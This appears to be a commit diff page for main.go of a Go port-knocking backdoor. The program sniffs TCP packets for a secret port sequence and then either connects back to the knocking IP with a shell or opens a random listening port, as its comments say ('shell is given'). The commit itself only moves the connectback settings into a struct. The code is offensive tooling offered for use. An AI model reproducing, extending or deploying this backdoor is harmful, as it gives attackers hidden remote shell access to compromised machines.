final updates + readme cleanup
This commit is contained in:
30
main.go
30
main.go
@@ -28,18 +28,12 @@ type targetInfo struct {
|
||||
// how far into the sequence we are
|
||||
// when secretCounter == len(secretPorts),
|
||||
// port knocking is complete and shell is given
|
||||
secretCounter int
|
||||
lastPort layers.TCPPort
|
||||
secretCounter int
|
||||
lastPort layers.TCPPort
|
||||
connectback bool
|
||||
connectbackPort string
|
||||
}
|
||||
|
||||
const (
|
||||
// if true, connect back to knocking
|
||||
// IP on connectbackPort
|
||||
connectback = false
|
||||
// only relevant if connectback is true
|
||||
connectbackPort = "8080"
|
||||
)
|
||||
|
||||
// create target info struct
|
||||
func sInit(os string) *targetInfo {
|
||||
tInfo := targetInfo{}
|
||||
@@ -52,6 +46,12 @@ func sInit(os string) *targetInfo {
|
||||
tInfo.secretPorts = []int{1, 2, 3, 4}
|
||||
tInfo.secretCounter = 0
|
||||
|
||||
// if true, connect back to knocking
|
||||
// IP on connectbackPort
|
||||
tInfo.connectback = false
|
||||
// only relevant if connectback is true
|
||||
tInfo.connectbackPort = "8080"
|
||||
|
||||
return &tInfo
|
||||
}
|
||||
|
||||
@@ -71,8 +71,8 @@ func main() {
|
||||
}
|
||||
|
||||
func vishnu(ip string, tInfo *targetInfo) {
|
||||
if connectback || tInfo.os == "windows" {
|
||||
spec.ConnectBack(ip, connectbackPort)
|
||||
if tInfo.connectback || tInfo.os == "windows" {
|
||||
spec.ConnectBack(ip, tInfo.connectbackPort)
|
||||
} else {
|
||||
randomPort := rand.Intn(65535-100) + 100
|
||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||
@@ -110,8 +110,8 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
|
||||
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
|
||||
// Check dst port for secret port
|
||||
tInfo.lastPort = tcp.DstPort
|
||||
|
||||
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
||||
|
||||
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
||||
tInfo.secretCounter++
|
||||
tInfo.lastPort = tcp.DstPort
|
||||
} else if tInfo.secretCounter != 0 && tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter-1]) { // fixed TCP 2x duplication issue
|
||||
@@ -129,7 +129,7 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
|
||||
ip, err := grabRemoteIP(packet)
|
||||
// TODO maybe just listen if connectback is
|
||||
// on and we can't get the remote IP
|
||||
if connectback && err != nil {
|
||||
if tInfo.connectback && err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user